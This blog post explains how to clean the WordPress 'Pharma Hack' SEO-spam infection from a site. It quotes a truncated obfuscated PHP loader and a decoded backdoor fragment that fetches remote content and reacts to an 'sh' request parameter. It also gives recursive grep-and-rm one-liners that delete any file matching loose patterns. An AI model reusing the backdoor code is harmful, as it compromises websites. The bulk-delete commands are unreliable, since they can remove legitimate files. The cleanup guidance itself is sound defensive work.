Cleaning up the Wordpress Pharma Hack

Cotton Rohrscheib called me a few days back wanting help fixing an apparent defacement (of sorts) on his website. Normally when a site is defaced, the pictures, text and other content are modified to make some sort of statement (be it political or otherwise). This hack was different - it only modified page titles and/or meta tags in order to exploit a site's search engine ranking to advertise cheap pharmaceuticals. So, instead of seeing the page titles in the search results you get this instead:

Not exactly what you wanted to see huh? It's a pretty clever concept but I'm not sure just how effective it is in selling these meds. I guess their thought is that if they can get high ranking sites to "advertise" for them then their trusted readers will purchase these items. Pretty sorry if you ask me, but as long as someone is making a dollar off of it, stuff like this will just continue.

So - how do you get rid of it? Well, it ain't so easy. Let me state up front that I am no Wordpress expert nor am I overly familiar with it's internal workings so it's possible I'm taking the long-way around. We scoured the web reading a ton of sites (special props to Sucuri) all with bits-and-pieces of the answer. None seemed to have the entire solution, so we're going to try to present our findings here. The first time we "removed" it wasn't complete - so checking periodically to see if it stays clean is pretty much mandatory. All of our servers run suPHP, but the hack was able to run successfully. I'm also not exactly sure how they "got in" so to speak, but irregardless of what others may say I believe it was a bug in Wordpress that was exploited before we applied the patch for it. suPHP will not allow a file to be read/executed unless it has correct permissions, so Wordpress itself (or one of it's many plugins) had to be the culprit. The latest ModSecurity ruleset will also help prevent these sort of attacks, but is not a solution for not patching sites as soon as possible. Security is a continuous process, not a "set it and forget it" model.

The command line is where I started looking for the culprit. Most of these hacks use some sort of base64_decode trick and this one is no exception. Unlike most of these exploits, this one has the actual code of the exploit backwards in the file so normal scans skip right over it. A bit more work is needed to sniff it out and get rid of it. The actual exploit begins with this:

< ? php $XZKsyG=’as’;$RqoaUO=’e';$ygDOEJ=$XZKsyG.’s’.$RqoaUO.’r’.’t';$joEDdb
oEDdb(‘ZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lvYVhOelpY.......and so on...

To find it and delete it you need to SSH into your server, CD into the wordpress home directory and do the following -

grep -r 'php \$[a-zA-Z]*;' * |awk -F : '{print $1}' | xargs -I{} rm -v {}

This will scan the entire folder and all it's sub-directories for any file containing the string "php $RANDOMLETTERS='as'" and delete it verbosely. If you do not wish to delete it automatically just run this to print out the filename.
grep -r 'php \$[a-zA-Z]*;' * |awk -F : '{print $1}' When we did this, there were about 50 files that contained the exploit.

There are other files containing nasty code as well. You will also need to to search for and remove files containing the string "wp_class_support".

grep -r wp_class_support * |awk -F : '{print $1}' |xargs -I{} rm -v {}

This bit of syntax will search for files with that string and delete them (if you want to manually delete them, leave off the xargs part as per the above example).

I also found this nasty thing (not sure if it is related to the Pharma Hack) in several files. All were Wordpress core files, so you MUST replace every Wordpress file on your site with clean ones. DO NOT do this via the internal utility - use FTP, SCP, or whatever to get these files uploaded. Once you have done this, do

grep -r QGluaV9yZXN0b * |awk -F : '{print $1}'

This will search the remaining files for the exploit. Any files containing this MUST be replaced or you are still infected. The full text of the exploit the base64 encoded string as follows:


Which decodes as

{@ini_set('error_log',NULL); @ini_set('log_errors',0); @ini_set('file_uploads',1);
@ini_set('allow_url_fopen',1);}else{@ini_alter('error_log',NULL); @ini_alter('log_errors',0);
@ini_alter('file_uploads',1); @ini_alter('allow_url_fopen',1);}
function GetShellContent($host,$url){if(@function_exists('curl_init'))
curl_close($curl);return $data;}elseif(@function_exists('fsockopen'))
if($fp){$out="GET /$url"." HTTP/1.0\r\n";$out .="Host: $host\r\n";
$out .="User-Agent: Mozilla/4.0\r\n";$out .="Connection: Close\r\n\r\n";
return $data;}}elseif(@function_exists('file_get_contents') && @ini_get('allow_url_fopen')==1)
{$full_url='http://'.$host.'/'.$url;$data=@file_get_contents($full_url);return $data;}}
if($_REQUEST['sh'] != "")

I went ahead and scanned the whole site for files that had base64_decodes in them. To search for these do the following:

grep -r base64 * |awk -F : '{print $1}' |sort |uniq

This will print out a list of each file that contains the string "base64". You should examine each file carefully for rouge content, as many files legitimately contain this string and need it to function. If you are unsure of the code, replace the file with a fresh copy. Most of the files I've seen that are infected have the base64 statement at the very top of the file but this is not always the case.

Once you get the files cleaned, you need to work on the database. The exploit adds and/or modifies entries in the wp_options table. Using the MySQL interpreter or phpMyAdmin run the following query:

SELECT * FROM `wp_options` where `option_name` LIKE 'rss%' ORDER BY `wp_options`.`option_name` ASC;

This will search the wp_options table for all entries beginning with rss_ and return them. You will need to delete each one that looks similar to this:


rss_ followed by strings of random numbers or letters is bad and MUST be deleted as they are added by the exploit. Also, the exploit adds or modifies several other records in the same table. A couple of the sites we found recommended running this query as well as these options should not be set or contain any data:

delete from wp_options where option_name = "class_generic_support";
delete from wp_options where option_name = "widget_generic_support";
delete from wp_options where option_name = "fwp’";
delete from wp_options where option_name = "wp_check_hash";
delete from wp_options where option_name = "ftp_credentials";

If all has went well, your site should be clean and Pharma-Hack free. One recommendation that the Wordpress folks make is to move the wp-config.php file up one directory from its normal location. Wordpress will look there automatically but a good portion of the exploits apparently don't. I would also change the admin password and create new Security Keys. Use Sucuri's Free Scanner to check your site after you've cleaned it to make sure you got it all, and check it periodically to make sure it stays that way. Pretty nasty little thing huh?